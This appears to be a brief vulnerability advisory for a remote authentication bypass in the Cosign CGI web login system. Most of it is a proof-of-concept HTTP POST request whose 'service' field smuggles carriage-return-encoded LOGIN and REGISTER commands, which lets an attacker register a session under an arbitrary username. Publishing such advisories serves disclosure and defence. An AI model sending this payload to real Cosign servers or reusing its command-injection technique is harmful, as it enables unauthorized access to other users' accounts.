Cosign CGI Register Command Remote Authentication Bypass Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept POST request is available:

POST /cosign-bin/cosign.cgi HTTP/1.0
Host: weblogin.example.com
Cookie: cosign=X
Content-Type: application/x-www-form-urlencoded
Content-Length: N

required=&ref=https%3A%2F%2Fweblogin.example.com%2F&service=cosign-servicename=Y%0DLOGIN cosign=X2 1.2.3.4 username%0DREGISTER cosign=X2 1.2.3.4 cosign-servicename=Y2&login=test&password=pass&passcode=&doLogin=Log+In


 

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